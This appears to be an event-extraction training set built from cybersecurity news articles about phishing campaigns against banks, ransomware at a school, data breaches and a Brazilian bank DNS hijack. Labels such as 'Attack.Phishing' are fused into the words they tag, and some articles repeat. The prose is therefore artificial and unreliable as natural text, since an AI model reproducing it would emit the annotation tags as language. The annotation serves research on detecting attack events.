A phishing campaignAttack.Phishingis targeting customers of every major UK bank , with cybercriminals posing asAttack.Phishingcustomer support staff on Twitter in an attempt to steal users ' online banking credentials . Easy to carry out but difficult to defend against , phishingAttack.Phishingis an increasingly popular weapon of choice for hackers . That 's because , with an authentic-looking fake website , they can just sit back and scoop upAttack.Databreachdata as victims unwittingly hand over their usernames and passwords . PhishingAttack.Phishingoften relies on cybercriminals sendingAttack.Phishingtailored emails to potential victims in an effort to lureAttack.Phishingthem into giving up credentials or installing malware . However , cybersecurity researchers at Proofpoint have uncovered an Angler phishing campaignAttack.Phishingwhich , rather than being tailoredAttack.Phishingto specific users , takes advantage of how they can often be careless on social media -- specifically Twitter . In this instance , cybercriminals monitor Twitter for users approaching genuine support accounts for banks , and attempt to hijack the conversation with a fake support page . This sort of phishing attackAttack.Phishingis unlikely to provide cybercriminals with the big score they 'd hit if they targeted a corporate network , but it does enable the easy theft of credentials and small amounts of money -- and repeated success could become lucrative , and also provide criminals with accessAttack.Databreachto other types of data which can be used to commit fraud . `` In many of the examples we 've seen , the hacker is not just collectingAttack.Databreachbanking credentials . They also look for information like ATM Pin , Credit/Debit card numbers , security questions and answers , and even social security numbers . With this information , they can circumvent some security measures , make purchases/withdrawals without online access , or create entirely new bogus accounts using the customer 's information , '' says Celeste Kinswood at Proofpoint . Fortunately , there are some simple things users can do to ensure they do n't become victims of this style of social media phishing attackAttack.Phishing. For starters , a real support account will be verified with a blue tick and wo n't directly ask for login credentials . A quick search for the real account should also demonstrate if the one contacting you is fake . Users may want to see their problems solved quickly , but taking ten seconds to verify who you 're talking to will pay off in the long run .
PhishingAttack.Phishingis one of the most devious scams for filching your personal information , but experts say it is possible to avoid them if you know what you 're looking for . At its essence , phishingAttack.Phishingis the act of pretending to beAttack.Phishingsomeone or something you trust in order to trickAttack.Phishingyou into entering sensitive data like your user name and password . The goal -- of course -- is to take your money . Some of the most common phishing scamsAttack.Phishingare bogus emails purportedly from trustworthy institutions like the U.S.Internal Revenue Service or major banks . The more sophisticated scams are crafted to look very much likeAttack.Phishinga legitimate message from a site you do business with . “ Many popular phishing scamsAttack.Phishingpurport to beAttack.Phishingfrom shipping companies , e-commerce companies , social networking websites , financial institutions , tax-preparation companies and some of the world ’ s most notable companies , ” said Norton by Symantec senior security response manager Satnam Narang via email . One of the worst cases on record was an aircraft parts CEO who was trickedAttack.Phishinginto handing over more than $ 55 million – which shows that phishing scamsAttack.Phishingcan dupeAttack.Phishingeven smart people . Fox News asked Symantec about the top phishing scamsAttack.Phishingand how to avoid them . 1 . Your account has been or will be locked , disabled or suspended . `` Scare tactics are a common theme when it comes to phishing scamsAttack.Phishing, '' said Narang . `` Claiming a users ’ account has been or will be locked or disabled is a call to action to the user to enticeAttack.Phishingthem to provide their login credentials . '' 2 . Irregular/fraudulent activity detected or your account requires a `` security '' update . `` Extending off of # 1 , scammers will also claim irregular or fraudulent activity has been detected on your account or that your account has been subjected to a compulsory 'security update ' and you need to login to enable this security update , '' Narang said . 3 . You ’ ve received a secure or important message . `` This type of phishing scamAttack.Phishingis often associated with financial institutions , but we have also seen some claiming to beAttack.Phishingfrom a popular e-commerce website , '' said Narang . `` Because financial institutions don ’ t send customer details in emails , the premise is that users will be more inclined to click on a link or open an attachment if it claims to beAttack.Phishinga secure or important message . '' 4 . Tax-themed phishing scamsAttack.Phishing. `` Each year , tax-themed phishing scamsAttack.Phishingcrop up before tax-time in the U.S. and other countries , '' Narang added . `` These tax-related themes can vary from updating your filing information , your eligibility to receive a tax refund or warnings that you owe money . One thing that ’ s for sure is that the IRS doesn ’ t communicate via email or text message , they still send snail mail . '' 5 . Attachment-based phishingAttack.Phishingwith a variety of themes . `` Another trend we have observed in recent years is that scammers are using the luresAttack.Phishingmentioned above , but instead of providing a link to an external website , they are attaching an HTML page and asking users to open this 'secure page ' that requests login credentials and financial information , '' according to Narang . Avast , which also develop antivirus software and internet security services , offered advice on what to look for . Ransomware , which encrypts data ( i.e. , makes it inaccessible to the user ) , tries to tap into the same fears that phishingAttack.Phishingdoes . The hope that the “ attacked person will panic , and pay the ransomAttack.Ransom, ” Jonathan Penn , Director of Strategy at Avast , told Fox News .
PhishingAttack.Phishingis one of the most devious scams for filching your personal information , but experts say it is possible to avoid them if you know what you 're looking for . At its essence , phishingAttack.Phishingis the act of pretending to beAttack.Phishingsomeone or something you trust in order to trickAttack.Phishingyou into entering sensitive data like your user name and password . The goal -- of course -- is to take your money . Some of the most common phishing scamsAttack.Phishingare bogus emails purportedly from trustworthy institutions like the U.S.Internal Revenue Service or major banks . The more sophisticated scams are crafted to look very much likeAttack.Phishinga legitimate message from a site you do business with . “ Many popular phishing scamsAttack.Phishingpurport to beAttack.Phishingfrom shipping companies , e-commerce companies , social networking websites , financial institutions , tax-preparation companies and some of the world ’ s most notable companies , ” said Norton by Symantec senior security response manager Satnam Narang via email . One of the worst cases on record was an aircraft parts CEO who was trickedAttack.Phishinginto handing over more than $ 55 million – which shows that phishing scamsAttack.Phishingcan dupeAttack.Phishingeven smart people . Fox News asked Symantec about the top phishing scamsAttack.Phishingand how to avoid them . 1 . Your account has been or will be locked , disabled or suspended . `` Scare tactics are a common theme when it comes to phishing scamsAttack.Phishing, '' said Narang . `` Claiming a users ’ account has been or will be locked or disabled is a call to action to the user to enticeAttack.Phishingthem to provide their login credentials . '' 2 . Irregular/fraudulent activity detected or your account requires a `` security '' update . `` Extending off of # 1 , scammers will also claim irregular or fraudulent activity has been detected on your account or that your account has been subjected to a compulsory 'security update ' and you need to login to enable this security update , '' Narang said . 3 . You ’ ve received a secure or important message . `` This type of phishing scamAttack.Phishingis often associated with financial institutions , but we have also seen some claiming to beAttack.Phishingfrom a popular e-commerce website , '' said Narang . `` Because financial institutions don ’ t send customer details in emails , the premise is that users will be more inclined to click on a link or open an attachment if it claims to beAttack.Phishinga secure or important message . '' 4 . Tax-themed phishing scamsAttack.Phishing. `` Each year , tax-themed phishing scamsAttack.Phishingcrop up before tax-time in the U.S. and other countries , '' Narang added . `` These tax-related themes can vary from updating your filing information , your eligibility to receive a tax refund or warnings that you owe money . One thing that ’ s for sure is that the IRS doesn ’ t communicate via email or text message , they still send snail mail . '' 5 . Attachment-based phishingAttack.Phishingwith a variety of themes . `` Another trend we have observed in recent years is that scammers are using the luresAttack.Phishingmentioned above , but instead of providing a link to an external website , they are attaching an HTML page and asking users to open this 'secure page ' that requests login credentials and financial information , '' according to Narang . Avast , which also develop antivirus software and internet security services , offered advice on what to look for . Ransomware , which encrypts data ( i.e. , makes it inaccessible to the user ) , tries to tap into the same fears that phishingAttack.Phishingdoes . The hope that the “ attacked person will panic , and pay the ransomAttack.Ransom, ” Jonathan Penn , Director of Strategy at Avast , told Fox News .
PhishingAttack.Phishingis one of the most devious scams for filching your personal information , but experts say it is possible to avoid them if you know what you 're looking for . At its essence , phishingAttack.Phishingis the act of pretending to beAttack.Phishingsomeone or something you trust in order to trickAttack.Phishingyou into entering sensitive data like your user name and password . The goal -- of course -- is to take your money . Some of the most common phishing scamsAttack.Phishingare bogus emails purportedly from trustworthy institutions like the U.S.Internal Revenue Service or major banks . The more sophisticated scams are crafted to look very much likeAttack.Phishinga legitimate message from a site you do business with . “ Many popular phishing scamsAttack.Phishingpurport to beAttack.Phishingfrom shipping companies , e-commerce companies , social networking websites , financial institutions , tax-preparation companies and some of the world ’ s most notable companies , ” said Norton by Symantec senior security response manager Satnam Narang via email . One of the worst cases on record was an aircraft parts CEO who was trickedAttack.Phishinginto handing over more than $ 55 million – which shows that phishing scamsAttack.Phishingcan dupeAttack.Phishingeven smart people . Fox News asked Symantec about the top phishing scamsAttack.Phishingand how to avoid them . 1 . Your account has been or will be locked , disabled or suspended . `` Scare tactics are a common theme when it comes to phishing scamsAttack.Phishing, '' said Narang . `` Claiming a users ’ account has been or will be locked or disabled is a call to action to the user to enticeAttack.Phishingthem to provide their login credentials . '' 2 . Irregular/fraudulent activity detected or your account requires a `` security '' update . `` Extending off of # 1 , scammers will also claim irregular or fraudulent activity has been detected on your account or that your account has been subjected to a compulsory 'security update ' and you need to login to enable this security update , '' Narang said . 3 . You ’ ve received a secure or important message . `` This type of phishing scamAttack.Phishingis often associated with financial institutions , but we have also seen some claiming to beAttack.Phishingfrom a popular e-commerce website , '' said Narang . `` Because financial institutions don ’ t send customer details in emails , the premise is that users will be more inclined to click on a link or open an attachment if it claims to beAttack.Phishinga secure or important message . '' 4 . Tax-themed phishing scamsAttack.Phishing. `` Each year , tax-themed phishing scamsAttack.Phishingcrop up before tax-time in the U.S. and other countries , '' Narang added . `` These tax-related themes can vary from updating your filing information , your eligibility to receive a tax refund or warnings that you owe money . One thing that ’ s for sure is that the IRS doesn ’ t communicate via email or text message , they still send snail mail . '' 5 . Attachment-based phishingAttack.Phishingwith a variety of themes . `` Another trend we have observed in recent years is that scammers are using the luresAttack.Phishingmentioned above , but instead of providing a link to an external website , they are attaching an HTML page and asking users to open this 'secure page ' that requests login credentials and financial information , '' according to Narang . Avast , which also develop antivirus software and internet security services , offered advice on what to look for . Ransomware , which encrypts data ( i.e. , makes it inaccessible to the user ) , tries to tap into the same fears that phishingAttack.Phishingdoes . The hope that the “ attacked person will panic , and pay the ransomAttack.Ransom, ” Jonathan Penn , Director of Strategy at Avast , told Fox News .
Banks in Russia today were the target of a massive phishing campaignAttack.Phishingthat aimed to deliver a tool used by the Silence group of hackers . The group is believed to have a background in legitimate infosec activities and access to documentation specific to the financial sector . The fraudulent emails purported to comeAttack.Phishingfrom the Central Bank of Russia ( CBR ) and contained a malicious attachment . The message body luredAttack.Phishingthe recipients to open the attachment in order to check the latest details on the `` standardization of the format of CBR 's electronic communications . '' Email authentication mechanism saves the day International cybersecurity company Group-IB investigated the attack and noticed that the style and format of the fake communication were very similar to the official CBR correspondence . This supports the theory that the attackers had accessAttack.Databreachto legitimate emails from CBR . If Silence hackers have any ties with the legal side of reverse engineering and penetration testing , it is very likely that they are familiar with the documentation used by financial institutions and with how banking systems work . In a report published today , Group-IB says that the attackers spoofedAttack.Phishingthe sender 's email address but the messages did not pass the DKIM ( DomainKeys Identified Mail ) validation . DKIM is a solution specifically designed to prevent forged email addresses by adding to the message a signature that confirms its authenticity . Banks see more spear-phishingAttack.Phishingfrom a different group The Silence hackers are not the only ones trying their spear-phishingAttack.Phishinggame on Russian banks . On October 23 , another notorious group , MoneyTaker , ran a similar campaign against the same type of targets . Their message spoofedAttack.Phishingan email address from the Financial Sector Computer Emergency Response Team ( FinCERT ) and contained five attachments disguised asAttack.Phishingdocuments from CBR . `` Three out of five files were empty decoy documents , but two contained a download for the Meterpreter Stager . To carry out the attack , hackers used self-signed SSL certificates , '' says Rustam Mirkasymov , Group-IB Head of Dynamic Analysis of malware department and threat intelligence expert . These clues , along with server infrastructure associated with the MoneyTaker group , allowed the security experts to identify the perpetrator . As in the case of Silence , this attacker is also thought to have had accessAttack.Databreachto CBR documents , most likely from compromised inboxes of Russian banks employees . This allowed them to craftAttack.Phishingmessages that would pass even eyes trained in spotting fraudulent emails . Silence and MoneyTaker are the most dangerous threats to banks According to Group-IB , multiple groups use the Central Bank of Russia in spear-phishingAttack.Phishingoperations , and for good reason , since the organization dictates regulations to financial institutions in the country and maintains a constant communication flow with them . Mirkasymov says that Silence and MoneyTaker are the most dangerous of all groups that threaten financial organizations . Referring to the latter , the expert says that its repertoire also includes drive-by attacks and testing the network for vulnerabilities . The goal is to access the internal nodes that enable them to withdraw money from ATMs , process cards or interbank transfers . Although Silence uses mainly phishingAttack.Phishing, they are more careful about craftingAttack.Phishingthe message , paying attention to both content and design , adds Group-IB 's threat intelligence expert .
Files that were scrambled in a ransomware attackAttack.Ransomon Hāwera High School in Taranaki included school assessments that students had only partly completed as well as backups , principal Rachel Williams has confirmed . More help is on the way for schools battling ransomware and other malware , but it has come a little late for the school which is being held to ransomAttack.Ransomfor US $ 5000 by hackers . N4L , the Crown-owned company that manages the provision of broadband to schools , said it would improve online security as part of a wider upgrade of its managed network that is due to be completed by October next year . The 2450 schools and 800,000 students on the network will get a new security solution supplied by Californian company Fortinet which would provide `` more robust protection against online threats , such as phishingAttack.Phishingand ransomware '' , it said in a statement issued on Monday . Ironically , that was the same day that staff at Hāwera High School switched on their computers to discover the message demandingAttack.RansomUS $ 5000 ( NZ $ 7352 ) in bitcoin for the return of encrypted data on a server containing students ' work and teaching resources . Hāwera High School is connected to ultrafast broadband via N4L , but N4L chief executive Larrie Moore said the school had opted out of N4L 's existing security solution and was instead using an alternative commercial offering . `` We 've been in touch with the school and their IT company to offer our support , '' he said . `` Until we know how the school 's network was compromised , we are unable to say whether the new Fortinet solution would have prevented it , '' he said . But Moore said there was no `` silver bullet '' for malware . Instead , technological protections needed to be used in combination with `` continuous education around good digital citizenship '' , he said . Williams said many of its students and teachers had backed up their files in the cloud and were not affected by the ransomware attackAttack.Ransom, but backups stored on servers at the school were also encrypted by the hackers . `` We have been working today on getting a clearer audit of student and staff work and where we are at . Some students are really not affected at all because they have saved their work on their cloud-based system . `` If students were part-way through an assessment , some of those are the ones that are encrypted and we ca n't access those at the moment . '' The school was working with NZQA to make sure those students were not disadvantaged , she said . Others had backups of their work at home , she said . Williams was not sure how the malware had arrived at the school , saying that was still being investigated . The Government is not believed to have any rules on whether state-funded organisations such as schools can pay ransomsAttack.Ransom, but in 2017 it issued advice against it and Williams said the school would follow police advice not to payAttack.Ransom. While the incident had been annoying , `` you see people 's character come through and we 've seen real resilience from our staff and students '' , Williams said . `` It is not stopping us doing what we need to do . '' N4L said its technology upgrade would be the first major refresh of its network since it began connecting schools with ultrafast broadband at the end of 2013 . Its existing security system had blocked more than 118,000 viruses and malware threats so far during this school year , it said .
Social media scams such as blackmail , identity theft , money laundering and dating scams are expected to gain popularity in SA this year . This is according to Kovelin Naidoo , chief cyber security officer at FNB , who explains that although social media scams in SA are not yet as prevalent as global counterparts ; the reality is that they do exist . As social media continues to gain prominence among South African consumers , Naidoo believes platforms like Instagram , Youtube , Facebook and Twitter have also become a platform where fraudsters attempt to catch unsuspecting consumers off guard . `` Given that the popularity of social media is set to remain for the coming years , consumers are encouraged to constantly educate themselves and their loved ones about the latest methods that fraudsters use to get hold of their victims ' personal information , '' adds Naidoo . Naidoo warns consumers to look out for money laundering scams - when scammers trickAttack.Phishingpeople through social media platforms by claiming to have large sums of cash that they need to deposit urgently through a foreign bank account and identity theft - when fraudsters stealAttack.Databreachinformation and use it illegally by impersonating victims . `` Social media blackmail is another scam to watch out for - never share personal photos or videos on social media that portray you in a compromising position as scammers can use these against you by threatening to send them to close family members or upload them on public platforms . Another scam to gain traction is a social media phishing scamAttack.Phishing, where fraudsters pretend to representAttack.Phishingthe victim 's bank on social media platforms , '' advises Naidoo . Manuel Corregedor , COO of Telspace Systems , says consumers who use social media platforms to meet companions or their life partners should also look out for dating or romance scams . `` In these scams , criminals play on the emotions of victims in order to scam them out of money i.e . they target certain profiles based on age , gender and marital status . Once connected , the criminal starts to 'build a relationship ' , with the victim as a means to get them to like or love them . Once this happens , the criminal plays on the victim 's emotions as a means to get money from the client . '' It is necessary to create an awareness around such scams and educate people , advises Corregedor . However , it should be noted , that these scams are not new - they existed before social media . Additional things users can do to protect themselves online is to only add people on social media sites , in particular Facebook , that they have met in person before ; restrict who can see your photos , posts , and look out for the following signs that it might be a scam . Denis Makrushin , security researcher at Kaspersky Lab , says that social media chain letters and phishingAttack.Phishingis also expected to gain traction this year . `` Some social media messages ask recipients to send a small sum of money to certain addressees . Cyber criminals use chain letters to distribute malware - a letter may contain a link to a malicious Web site . A recipient is luredAttack.Phishinginto visiting the site on some pretext or other , for example they are warned about a virus epidemic and are offered the possibility to download an 'antivirus program ' . `` Furthermore phishing scamsAttack.Phishingvia social media messages are also markedly more detailed and sophisticated than the average phishing e-mail . For example , one might be a security alert saying that someone just tried to sign into your account from such and such address using such and such browser - all you have to do is click the link to check that everything 's OK , '' he explains . Naidoo advises social media users to never share their banking details with strangers and to think twice before sending money to someone you recently met online or have n't met in person yet .
`` Since this afternoon , I have been unable to use Teamviewer through a TalkTalk connection , '' said the first user that complained about the block , saying that TeamViewer works fine from his mobile 4G connection , but not his home TalkTalk line . Tens of other users followed suite and shared similar experiences . As it became clear to all that TalkTalk had banned TeamViewer on its network , the company admitted the issues through a representative . Apologies for the confusion , but I can confirm that we have implemented a number of network changes that have blocked a number of applications including Teamviewer We constantly monitor for potentially malicious internet traffic , so that we can protect our customers from phishingAttack.Phishingand scamming activities . As part of this work , we have recently blocked a number of sites and applications from our network , and we ’ re working hard to minimise the impact on our customers . We are working with teamviewer and other 3rd parties on implementing some additional security measures that would enhance the security to all customers of these services but we will continue to block any sites/applications reported by customers to reduce the opportunity for fraud to take place . The issues the TalkTalk representative was referring to are a wave of scams that have hit TalkTalk customers over the past year . The data of millions of TalkTalk customers leakedAttack.Databreachonline in 2015 when the company experienced three separate data breachesAttack.Databreachin the same year . Scammers have been using some of the leaked TalkTalk data to target the ISP 's customers during the past two years . Several topics on the TalkTalk forums detail such events , which all start with a phone call from one of the scammers . In many cases , the scammer has an Indian accent , poses asAttack.Phishinga TalkTalk employee , and asks users to install TeamViewer to assist customers with a technical issue or to fixVulnerability-related.PatchVulnerabilitysecurity errors . TeamViewer , which is a legitimate app used worldwide by tech departments , allows the scammer to access the victim 's computer and install malware such as keyloggers or backdoor trojans right under the unsuspecting victim 's nose . In some cases , parts of the TeamViewer app has even been embedded in malware directly , as to simplify the process of stealing dataAttack.Databreachvia a legitimate communications channel , disguising the data theft operationsAttack.Databreachunder TeamViewer traffic . Apps like TeamViewer , Supremo , and LogMeIn , have all been used as part of tech support scams for years . The only surprise is TalkTalk 's pro-active reaction , which comes two days after the BBC ran a story documenting the operations of an Indian scam call center that was specifically targeting TalkTalk customers . Anticipating criticism from customers , other news outlets , and a possible sanction from government agencies , TalkTalk decided to take a pro-active approach and fight the scammers by blocking some of the apps they used . For its part , TeamViewer has been very accommodating , saying in a statement published yesterday that the two companies are in `` extensive talks to find a comprehensive joint solution to better address this scamming issue . '' In an email , a TeamViewer spokesperson told Bleeping Computer they expect to reach a consensus with TalkTalk , who is `` aware that this not a TeamViewer specific issue , '' and both companies are working to `` bring about additional measures to thwart scamming . '' Imagine if Team Viewer and other such remote software would give a big red alert explaining that their software is often used by criminals stating they were from ISPs , Microsoft or some security tech as the first window seen when opening the software .
If there ’ s one thing that can be counted on to happen every year around tax season — besides the ongoing tax preparation service commercials — it ’ s fraud . Whether it ’ s sellingAttack.DatabreachW2 forms online or sendingAttack.Phishingmalicious emails that look likeAttack.Phishingthey are from the IRS , cybercriminals tend to keep themselves busy this time of year . Rick Holland , VP of strategy at Digital Shadows , joined this week ’ s Hacker Tracker to highlight how cybercriminals are utilizing the dark web to support their tax fraud campaigns . Earlier this year , the Treasury Inspector General for Tax Administration reported that there was a reduction in the number of fraudulent tax returns identified between 2013 and 2015 . On the other hand , around that same time the IRS released data showing that phishingAttack.Phishingand malware incidents in the 2016 tax season increased by 400 percent . Noting that the number of identified fraudulent returns was not indicative of the overall levels of tax fraud occurring , Digital Shadows set out to reconcile two very different perspectives on the same problem . In response , the external digital risk management team recently released its research assessing dark web and criminal chatter related to tax fraud so far this year . As of February , the number of mentions in 2017 so far was already over 40 percent of the 2016 total . Rick Holland , VP of strategy at Digital Shadows , explained that cybercriminals are often using the dark web marketplaces to sellAttack.DatabreachW2s for as little as $ 4 , which include a victim ’ s full information that can then be used for whatever campaign the cybercriminal is going to run . In fact , he noted that often cybercriminals capitalize on phishingAttack.Phishingand malware schemes during this time by using the term “ tax refund ” in an email subject of a message that looks likeAttack.Phishingit ’ s from the IRS . However , those malicious emails are actually just delivering malware to a computer for other purposes , maybe to participate in a botnet or something similar . “ Sometimes it ’ s easy to think of the personal fraud that ’ s being committed , and certainly that is happening , but I think it ’ s important to remember that it goes much broader as far as what the adversaries are doing , ” Holland said . At the end of the day , fraudsters are doing everything they can increase the likelihood of their social engineering being successful . What ’ s Next In Tax Fraud Holland stressed how important it is for both consumers and businesses to under that there are differences in the types of cyber campaigns criminals perpetrate during tax season and that the threat of fraud can be much more encompassing during this time of year . Cybercriminals aren ’ t always going to go after credit card information , because they don ’ t have to . With increased sophistication and social engineering tactics , these criminals are not limited to relying on payment data alone to make money .
If there ’ s one thing that can be counted on to happen every year around tax season — besides the ongoing tax preparation service commercials — it ’ s fraud . Whether it ’ s sellingAttack.DatabreachW2 forms online or sendingAttack.Phishingmalicious emails that look likeAttack.Phishingthey are from the IRS , cybercriminals tend to keep themselves busy this time of year . Rick Holland , VP of strategy at Digital Shadows , joined this week ’ s Hacker Tracker to highlight how cybercriminals are utilizing the dark web to support their tax fraud campaigns . Earlier this year , the Treasury Inspector General for Tax Administration reported that there was a reduction in the number of fraudulent tax returns identified between 2013 and 2015 . On the other hand , around that same time the IRS released data showing that phishingAttack.Phishingand malware incidents in the 2016 tax season increased by 400 percent . Noting that the number of identified fraudulent returns was not indicative of the overall levels of tax fraud occurring , Digital Shadows set out to reconcile two very different perspectives on the same problem . In response , the external digital risk management team recently released its research assessing dark web and criminal chatter related to tax fraud so far this year . As of February , the number of mentions in 2017 so far was already over 40 percent of the 2016 total . Rick Holland , VP of strategy at Digital Shadows , explained that cybercriminals are often using the dark web marketplaces to sellAttack.DatabreachW2s for as little as $ 4 , which include a victim ’ s full information that can then be used for whatever campaign the cybercriminal is going to run . In fact , he noted that often cybercriminals capitalize on phishingAttack.Phishingand malware schemes during this time by using the term “ tax refund ” in an email subject of a message that looks likeAttack.Phishingit ’ s from the IRS . However , those malicious emails are actually just delivering malware to a computer for other purposes , maybe to participate in a botnet or something similar . “ Sometimes it ’ s easy to think of the personal fraud that ’ s being committed , and certainly that is happening , but I think it ’ s important to remember that it goes much broader as far as what the adversaries are doing , ” Holland said . At the end of the day , fraudsters are doing everything they can increase the likelihood of their social engineering being successful . What ’ s Next In Tax Fraud Holland stressed how important it is for both consumers and businesses to under that there are differences in the types of cyber campaigns criminals perpetrate during tax season and that the threat of fraud can be much more encompassing during this time of year . Cybercriminals aren ’ t always going to go after credit card information , because they don ’ t have to . With increased sophistication and social engineering tactics , these criminals are not limited to relying on payment data alone to make money .
Science Inc. , the company behind the popular online poll creation app Wishbone , has suffered a data breachAttack.Databreach. As a consequence , personal and account information of over 2.2 million of the app ’ s users is being circulatedAttack.Databreachon underground forums . The compromised records include names , usernames , email addresses and telephone numbers of the users , but also their gender and birth date ( if they chose to share that info when they set up the account ) . According to Troy Hunt , who received a copy of the compromised MongoDB database , 2,326,452 full names , 2,247,314 unique email addresses , and 287,502 cellphone numbers were included . Most importantly , the great majority of Wishbone users are teenagers and young adults , and predominantly female . “ I ’ d be worried about the potential for kids to abuse the data , ” Hunt told Motherboard . “ There ’ s a lot of young people in there and finding , say , young females and being able to contact them by phone is a worry ” . Not only that , but the data could be used to ferret out additional information about these persons , either via phishingAttack.Phishingor by searching the Internet for unsecured social media accounts that can be tied to them . Armed with all this information , fraudsters could easily perpetrate identity theft schemes . And perhaps the stolen data has already been misused . Hunt say that the data breachAttack.Databreachdates back to August 2016 , but according to the notification letter the Wishbone team sent out , they “ became aware that unknown individuals may have had accessAttack.Databreachto an API without authorization and were able to obtainAttack.Databreachaccount information of its users ” only on March 14 , 2017 . Since then , they “ rectifiedVulnerability-related.PatchVulnerability” the vulnerability that allowed the information to be slurpedAttack.Databreachby the attackers , and are now advising users to consider changing their passwords ( even though they have not been compromisedAttack.Databreachin the incidentAttack.Databreach) .
The $ 2.2 trillion Australian superannuation industry is coming under attack from cybercriminals who are attracted to the high potential gains . According to Palo Alto Networks , the sheer size of the market , the tendency of people to neglect their superannuation , and technology advancements making it easier to commit identity theft are all factors behind the strong interest among cybercriminals in super funds . Because superannuation transactions are now conducted digitally , rather than face to face , identity theft has become easier . Cybercriminals are exploiting a range of techniques , including phishingAttack.Phishing, to stealAttack.Databreachvictims ’ identities before transferring their super into self-managed accounts or applying for hardship payments . Unlike banks , super funds have no obligation to reimburse victims of fraud , and if the fraud takes place overseas there is very little chance of recovering stolen money , Palo Alto said . Cybercriminals are also increasingly targeting the industry with malware , with the number of new threats discovered growing to 350,000 per month in 2017 , up from just 300 per month a decade ago . “ Because superannuation funds are such valuable targets , cybercriminals are unlikely to turn their attention elsewhere anytime soon . Therefore , it ’ s imperative for superannuation providers to review their security measures in minute detail , seeking out every potential vulnerability and finding a way to close the gaps before cybercriminals exploit them , ” Palo Alto Regional CSO for APAC Sean Duca said . “ A solid security strategy should go beyond antivirus and intrusion detection systems
The traditional model of hacking a bank is n't so different from the old-fashioned method of robbing one . But one enterprising group of hackers targeting a Brazilian bank seems to have taken a more comprehensive and devious approach : One weekend afternoon , they rerouted all of the bank 's online customers to perfectly reconstructed fakes of the bank 's properties , where the marks obediently handed over their account information . Researchers at the security firm Kaspersky on Tuesday described an unprecedented case of wholesale bank fraud , one that essentially hijacked a bank 's entire internet footprint . In practice , that meant the hackers could stealAttack.Databreachlogin credentials at sites hosted at the bank 's legitimate web addresses . Kaspersky researchers believe the hackers may have even simultaneously redirected all transactions at ATMs or point-of-sale systems to their own servers , collectingAttack.Databreachthe credit card details of anyone who used their card that Saturday afternoon . `` Absolutely all of the bank 's online operations were under the attackers ' control for five to six hours , '' says Dmitry Bestuzhev , one of the Kaspersky researchers who analyzed the attack in real time after seeing malware infecting customers from what appeared to be the bank 's fully valid domain . From the hackers ' point of view , as Bestuzhev puts it , the DNS attack meant that `` you become the bank . Kaspersky is n't releasing the name of the bank that was targeted in the DNS redirect attack . But the firm says it 's a major Brazilian financial company with hundreds of branches , operations in the US and the Cayman Islands , 5 million customers , and more than $ 27 billion in assets . And though Kaspersky says it does n't know the full extent of the damage caused by the takeover , it should serve as a warning to banks everywhere to consider how the insecurity of their DNS might enable a nightmarish loss of control of their core digital assets . `` This is a known threat to the internet , '' Bestuzhev says . `` But we ’ ve never seen it exploited in the wild on such a big scale . '' But attacking those records can take down sites or , worse , redirect them to a destination of the hacker 's choosing . In 2013 , for instance , the Syrian Electronic Army hacker group altered the DNS registration of The New York Times to redirect visitors to a page with their logo . More recently , the Mirai botnet attack on the DNS provider Dyn knocked a major chunk of the web offline , including Amazon , Twitter , and Reddit . But the Brazilian bank attackers exploited their victim 's DNS in a more focused and profit-driven way . Kaspersky believes the attackers compromised the bank 's account at Registro.br . That 's the domain registration service of NIC.br , the registrar for sites ending in the Brazilian .br top-level domain , which they say also managed the DNS for the bank . And those sites even had valid HTTPS certificates issued in the name of the bank , so that visitors ' browsers would show a green lock and the bank 's name , just as they would with the real sites . Kaspersky found that the certificates had been issued six months earlier by Let 's Encrypt , the non-profit certificate authority that 's made obtaining an HTTPS certificate easier in the hopes of increasing HTTPS adoption . `` If an entity gained control of DNS , and thus gained effective control over a domain , it may be possible for that entity to get a certificate from us , '' says Let 's Encrypt founder Josh Aas . `` Such issuance would not constitute mis-issuance on our part , because the entity receiving the certificate would have been able to properly demonstrate control over the domain . '' Ultimately , the hijack was so complete that the bank was n't even able to send email . `` They couldn ’ t even communicate with customers to send them an alert , '' Bestuzhev says . `` If your DNS is under the control of cybercriminals , you ’ re basically screwed . '' Aside from mere phishingAttack.Phishing, the spoofed sites also infected victims with a malware download that disguisedAttack.Phishingitself as an update to the Trusteer browser security plug-in that the Brazilian bank offered customers . According to Kaspersky 's analysis , the malware harvestsAttack.Databreachnot just banking logins—from the Brazilian banks as well as eight others—but also email and FTP credentials , as well as contact lists from Outlook and Exchange , all of which went to a command-and-control server hosted in Canada . The Trojan also included a function meant to disable antivirus software ; for infected victims , it may have persisted far beyond the five-hour window when the attack occurred . And the malware included scraps of Portugese language , hinting that the attackers may have themselves been Brazilian . After around five hours , Kaspersky 's researchers believe , the bank regained control of its domains , likely by calling up NIC.br and convincing it to correct the DNS registrations . But just how many of the bank 's millions of customers were caught up in the DNS attack remains a mystery . Kaspersky says the bank has n't shared that information with the security firm , nor has it publicly disclosed the attack . But the firm says it 's possible that the attackers could have harvestedAttack.Databreachhundreds of thousands or millions of customers ' account details not only from their phishing scheme and malware but also from redirecting ATM and point-of-sale transactions to infrastructure they controlled . Kaspersky 's Bestuzhev argues that , for banks , the incident should serve as a clear warning to check on the security of their DNS . He notes that half of the top 20 banks ranked by total assets do n't manage their own DNS , instead leaving it in the hands of a potentially hackable third party . And regardless of who controls a bank 's DNS , they can take special precautions to prevent their DNS registrations from being changed without safety checks , like a `` registry lock '' some registrars provide and two-factor authentication that makes it far harder for hackers to alter them . Without those simple precautions , the Brazilian heist shows how quickly a domain switch can undermine practically all other security measures a company might implement .
Financial institutions worldwide including those in the country have been implored to be extremely cautious of the growing cyber-attacks that put them at great risk this year than before . The report further cautions that a slight mistake could cause great cash loss to the financial institutions like what happened to a Bangladesh Bank Central Bank . The Sophos report indicates that financial infrastructure is at greater risk of attack . `` The use of targeted phishingAttack.Phishingand 'whaling ' continues to grow . These attacksAttack.Phishinguse detailed information about company executives to trickAttack.Phishingemployees into paying fraudsters or compromising accounts . `` We also expect more attacks on critical financial infrastructure , such as the attack involving SWIFTconnected institutions which cost the Bangladesh Central Bank $ 81 million in February , '' reveals the report . The caution comes in following a Cybersecurity giant Sophos report published recently shows that the attacks are expected to increase this year . Expounding further , the report indi - cates that the year 2016 saw a huge number and variety of cyber-attacks , ranging from a high-profile DDoS using hijacked Internet-facing security cameras to the alleged hacking of party officials during the US election , according to a report by a Cybersecurity giant Sophos . The Sophos report shows that they also saw a rising tide of data breachesAttack.Databreachfrom big organisations and small and significant losses of people 's personal information . `` Since the year 2016 is over , we 're pondering how some of those trends might play out in 2017 , '' it notes . The report indicates that the current and emerging attack trends include the destructive DDoS IOT attack which is expected to rise . `` In 2016 , Mirai showed the massive destructive potential of DDoS attacks as a result of 